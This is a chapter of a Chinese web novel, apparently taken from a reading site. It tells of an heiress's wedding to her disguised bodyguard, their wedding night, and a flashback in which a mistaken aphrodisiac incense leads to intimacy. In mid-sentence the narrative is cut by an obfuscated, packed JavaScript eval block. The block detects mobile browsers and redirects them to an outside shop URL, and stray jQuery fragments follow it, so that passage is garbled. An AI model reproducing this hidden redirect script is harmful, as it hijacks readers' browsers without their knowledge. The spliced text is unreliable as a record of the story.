17. 成亲合卺暖香

作品:《带着影卫去旅行

    锣鼓喧闹,鞭炮齐鸣,一抬抬系着彩绸的箱子流水般地运进张家大宅。


    今日便是张家孤女与赘婿成亲的日子。


    “入赘的也有嫁妆呢?”


    “瞎!看那打头的一对雁没有,明明是聘礼!”


    “稀奇了,赘婿还用给聘礼?”


    “还有更稀奇的!张家女在外赁了宅子,今天从外宅进家,新姑爷迎亲去了!”


    “新姑爷可以啊!似嫁非嫁,似娶非娶,等生下孩儿后再过几年……”


    “所以说女人当不得家么,被哄几句就昏头昏脑……”


    张璇昀坐在榻上,周边围满了女眷亲戚,无数个声音聚在一起,像怎么都无法驱散的蚊蝇。


    就快了,她告诉自己。


    只要过了这一关,他们就再找不到其他理由,爹娘留下的家,她会守护好的!


    “打这么高的凤冠,太靡费了吧!你爹娘挣下家业不容易,可不能大手大脚地败了!”


    这是张老爷族兄的妻子,张璇昀称一声婶子。


    可张家自太爷那辈就已经分家,这族兄的分量,亦不知隔了几个房头。


    “婚姻大事岂能简薄,正因父母不在才要大办,一来告慰父母在天之灵,二来震慑不怀好意的宵小之徒,女子当家亦不可欺!”


    这话说得不客气,那婶子的脸色难看得像吃了苍蝇!


    惦记张家产业的人里头数她最跳,她男人在张家布坊任管事,自诩与张老爷最亲近,这些日子一直企图将自家的儿子介绍给张璇昀。


    她儿子年近三十,一直不事生产闭门读书,读了这些年连个秀才都考不上。


    偏他家坚信其子是个读书种子,一定能考取功名,故不愿与平常女子结亲,一门心思想聘个书香人家的女孩儿。


    眼高手低不外如是,以至于到如今都未娶亲。


    这婶子嘴上说不急不急,说她儿子刻苦读书无心男女之情,实则心中急得不行,惊闻张家事,简直如瞌睡送枕头,将张家孤女和产业当作了囊中物!


    哪知张璇昀有决断,成亲可以,人选天定!


    她儿子孱弱的跟鸡崽似的,阿青失控时未重伤人,这婶子的儿子却被别人踩断了脚,现下还躺在床上哭呢!


    屋内气氛尴尬,忽听外头喧闹。


    柳媒婆撩开门帘进来,对异样的气氛浑然不觉般,喜气洋洋地说:“吉时已到,姑娘该上花轿了!”


    张璇昀纵使性格果敢,仍不免紧张,在柳媒婆帮她盖盖头的时候忍不住握住了她的手。


    柳媒婆回握,安抚地拍拍她:“姑娘放心,一切都顺着呢!”


    方才在迎亲时有几个心怀不甘的亲戚还企图为难青公子,结果还没怎么着,被青公子一瞪就吓得不敢动了!


    锦绣华盖遮容颜,再露面,已作人妇。


    张家不差钱,喜轿宽大华贵,需八人来抬。


    张璇昀掀帘入轿,耳边忽听马儿嘶鸣,又听柳媒婆笑道:“新姑爷威武不凡,正配佳媛!”


    轿帘放,锣鼓响,该出发了……


    在热闹的乐声中,马蹄声一直不疾不徐地相伴左右。


    花轿穿过街巷,来到张灯结彩的张府门口。


    “请新娘下轿!”


    轿帘起,绣鞋刚露出半个鞋面就被宽大的衣摆遮住。


    “哇!新娘子好高呀!”


    “听说张家打了个特别高特别华贵的凤冠,可真是大手笔啊!”


    “酸什么!姑娘家这辈子就嫁一回人,还不兴人家大办了!”


    “……我就说说而已,那么高的凤冠…不怕脖子疼啊……”


    柳媒婆将系着大红花的喜绸一头交到新郎手中,一头放到新娘手中。


    “牵红绸,系良缘,一生一世共白首!请二位新人入府吧!”


    高大的新郎,与同样‘高大’的新娘并肩走过彩段铺就的路,他们的步幅近乎一致,仿佛彼此早已熟悉。


    正堂主位上并未坐人,亦未摆放牌位。


    宾客的座位都被安排在院落中,是以整个正堂除去宣礼的柳媒婆,竟然只余二位新人。


    “一拜天地!”


    二人共同面向大门,敬拜叩首。


    “二拜高堂!”


    二人并未转身,而是向着西北方向再拜。


    有人疑惑:“为何不是拜牌位?”


    “嘘!张老爷夫妇正是在西北的商道没的,尸骨都带不回来……”


    该行最后的礼了。


    “夫妻对拜!”


    相对而立,却不约而同地怔住……


    织金绣凤的盖头遮住了一切,让人难以窥其思绪。


    另一方的新郎亦是沉默寡言,那双黝黑的深瞳,似乎将大红的喜焰吞噬殆尽……


    “感觉好可怕啊,听说新姑爷是押镖的……”


    “押镖肯定见过血!抛绣球那天好像一下子就把人打飞了!”


    “简直是瞎选……其实张小姐应是不愿的吧……”


    “不愿有什么用,她要是真从那些亲戚里选人,更没好日子过!”


    院内议论的声音渐渐变大,柳媒婆忍不住低声提醒道:“该行礼了。”


    二人终于相对而拜,因为估错了距离,头还轻轻碰了一下。


    新娘连忙抬手扶着盖头,新郎也反应很快地侧过身帮她遮挡外面的视线。


    有人偷笑:“哈哈,打那老高的冠,撞头了吧!”


    也有女子脸颊泛红:“张小姐的相公似乎……似乎不像看起来那么凶……”


    最后一礼结束,柳媒婆赶快高声喊道:“嘉礼既成,送新人入洞房!”


    二人随侍女离开,酒宴开始。


    不一会儿,已经换了身衣裳的张璇昀出现在酒宴。


    “张夫人,怎不让你相公出来敬酒?”


    因已作人妇,故改称夫人。


    张璇昀大大方方地答道:“相公不善言辞,席上皆为我张家亲眷,故只由我来陪大家喝一杯。”


    精明的人暗赞,好个女当家!又是聘礼又是赁宅出嫁的,以为被男人迷了眼睛,谁料连婚宴的酒席都不让赘婿上桌,将当家大权握得死死的!


    *


    洞房里——


    龙凤花烛的火光将房间照得亮堂堂,铺着鸳鸯相戏图案的缂丝锦被堆在喜床的一侧。


    新娘在床沿坐了,新郎在床边站着。


    桌案上摆着喜秤、酒盏、香炉、茶果……


    “不掀盖头么?”


    “还是……本该我掀你的?”


    并不拿喜秤,阿青用手指拿住盖头的一角,缓慢而坚定地揭开。


    红纱拂去,映入眼帘的是浅褐色的笑眼,烛火摇曳,在那眼眸中映照出温暖的光晕。


    纪安捉住阿青的手放到自己脸侧。


    “还满意么?你的……娘子。”


    .........


    “......满意。”


    阿青的回答有些慢,今日他亦作了打扮,穿着喜服,头发束了冠,露出硬朗的面容。


    可能是太不习惯,他看似平静的表情下,是只有纪安才能发现的不安。


    倒是纪安散着发,顺直的长发覆盖着红衣,竟分不清哪个才是锦缎。


    “我也满意……”


    纪安略微使力就把阿青拉到身旁,不如说他根本就没有任何抵抗。


    “床…硌……”


    “是撒帐的习俗,红枣桂圆莲子之类,祝人早生贵子的。”


    纪安的手指轻轻点着阿青的小腹,为了不漏破绽,他的指甲也染了凤仙花的颜色,热烈的红色,像火焰。


    “我们也要个孩子吧!小小的,软软的,追着喊爹娘……”


    他的手轻轻一拂就解开了阿青喜服的扣子。


    “男人……嗯……是不能生孩子的……”


    阿青觉得自己很热,热得要出汗了!但是又莫名不想脱下衣服……手搭着纪安的胳膊,推而无力。


    纪安突然直起身放过了阿青!


    他走到桌案旁拿起酒盏。


    “既举嘉礼,如何能不喝合卺酒?来,一人一杯!”


    阿青恍若刚刚从虎口逃生的猎物,松口气的同时又有些怅然若失。


    以前孤身闯敌营时都未曾感到如此紧张,他不知道自己是怎么了!


    纪安将酒盏递向阿青。


    “拜过父母,再喝了这合卺酒,就是我纪家的人了!”


    很巧的是,纪家的福地正处西北。


    “我……”


    “怎么?不敢接?想始乱终弃?想后悔了?”


    “不是!”


    阿青夺过酒盏就要往嘴里倒!纪安差点没拦住!


    “合卺酒不是这么喝的!”


    纪安的手臂绕过阿青的手臂,仿佛交颈的鹤。


    “要这样……”


    交缠的手臂令两人间的距离十分之近。


    以往更近的时候都稀松平常,此时却完全不同……每拉近一寸距离都仿佛让温度更热一分,手臂不小心碰到,恍若有热流蹿过……


    酒液入喉,根本尝不出滋味。


    纪安将阿青扑倒,揉揉他的头,再捏捏他的脸。


    “早就是我的人了,后悔也不成……”


    从前没有想过会成亲。


    父母走后,复仇成为了纪安唯一的念想。


    连自己的性命都可以用作复仇的工具,感情对他而言太过奢侈了。


    上天待他不薄,不让他一个人行那荆棘路。


    就算前路渺茫,就算遍体鳞伤,却一直有人与他并肩前行,无论何时回首,那人总在他的身边……


    本该是在绝望中唯一可以信任的人……


    不知何时,那种信赖却演变成了占有欲!


    想要用链子将他拴在身旁,想要


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14606937|156090||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    在他身上烙下自己的印记,想要他的眼睛永远都只看着自己!


    纪安知道自己很自私,自私地用主仆之义将阿青束缚。


    他曾经无数次问自己,无数次怀疑,阿青只是因为从小受训未见过外面的世界,不知道正常的生活是什么样的,才对他不离不弃。


    所以纪安一直非常克制,将全部的感情深深埋进心底,即使他知道若是自己提出要求,阿青一定会答应。


    幔帐松懈,衣带垂落,像在拆期待已久的礼物,急切又珍惜。


    “今夜的香……没有点错……”


    暖香袅袅,酒香亦醉,可惜今夜无需助兴,情浓至深处,烈火自燃。


    *


    某一年在悬刃阁,非常罕见地举办了一场嘉礼。


    嘉礼的双方都是寻常阁众,但是大家都很高兴。


    世道艰难,选择加入悬刃阁的人大多背负着伤痛或执念,难得有喜事可让大伙同乐。


    纪安给阁中人皆放了假,未免自己在大伙不自在,亲自念完贺词后就离席了。


    阿青亦同他一起。


    最近事情太多,局势诡谲多变,纪安周旋于乱局中,一直未曾好好休息。


    阿青希望他今天可以放松一下,于是将蜡烛吹灭,又点燃了香炉。


    “睡觉,不许看公文。”


    “知道了——”


    “念得我耳朵都起茧子了!往日不见你如此聒噪……”


    纪安无奈,黑灯瞎火的,这下他可什么都做不了了。


    氤氲香气于空中弥散,由淡转浓……


    “阿青……”


    纪安感觉有些不对劲!


    “我在。”


    阿青自房梁上下来,一个闪身便来到榻前。


    “你……有没有觉得有些热?”


    阿青皱着眉伸手去探纪安的额头,入手是凉的,应该不是风寒。


    “我去找巫兰!”


    巫兰是悬刃阁的大夫。


    “等等!”


    “别去!”


    纪安拉住阿青的袖子,难耐地甩甩头。


    “今天的……香……是不是从巫兰那里拿的?”


    “是,我让她配了些安神的香。”


    阿青神情转冷,眸中闪过寒光:“香有问题?”


    纪安苦笑:“有问题,但不是那种问题……”


    这种燥热难耐的感觉,分明是助兴之物!


    他知道大概是阿青拿错了,误把给新人的暖香当成了安神香。


    结果阿青因对药物的耐性太好而丝毫未受影响,纪安反而中了招!


    “过来……坐到我身边……”


    阿青依言坐下,仍皱着眉头,他还是觉得应该尽快找大夫看看。


    紧贴的距离,熟悉的气息混着暖香之味,格外撩拨心弦。


    宴席上饮过一杯酒,纪安现在觉得自己醉了!


    往日里藏在心底的说不出口话,此时忽然便无法忍耐……


    是你先招惹的……


    黑暗中纪安仍然能找到阿青的眼睛,那双眼眸永远只注视着一个人的身影。


    是你先招惹的……


    纪安在心中呢喃着,情不自禁地抚上阿青的脸颊。


    “我中毒了……但你可以帮我……”


    “要做什么?”


    是耗费功力逼毒,还是取血做药引子,阿青都毫不犹豫!


    然而两者皆不是,一个很轻的,很温暖的吻落在他的嘴角。


    行动的人很小心,似乎很怕被推开,只是轻轻地落下一个吻。


    阿青却觉得脸颊如同火烧!整个人僵成了一个木雕!


    某种难以言说的感觉流淌过四肢百骸,仿佛有人攥住了他的心脏,但并非威胁,而是似有似无地揉捏着,把玩着,让他乱到无法掌控心跳。


    “这样……就可以么……”


    他的声音中有着连自己都未察觉的颤抖!


    “不行!这样不行!还不够……”


    纪安的声音抖得更厉害,揽住阿青的肩膀,将他拥入怀中!


    从脸颊到唇、到齿、到舌!每一个吻都交换着彼此的气息!


    从轻柔到贪婪,从汲取到掠夺!


    他们在夜幕下交融,身体紧紧贴在一起,直至不分你我!


    所有的压力都被释放,所有的情感都被倾诉,纪安永远都不会忘记,在那一天,他认定了想要终生相守的人。


    红烛照春影,昂贵的缂丝被指甲刮破。


    “唔——”


    阿青发出难耐的喘息,那双鹰狼之眼因动情而泛着水光。


    “什么都不要怕......把自己交给我……”


    纪安低头吻去那滴泪。


    呈于天地,敬拜父母,遵循嘉礼,执子之手。


    他的前半生被复仇所禁锢,他的后半生......


    “唯愿守你……”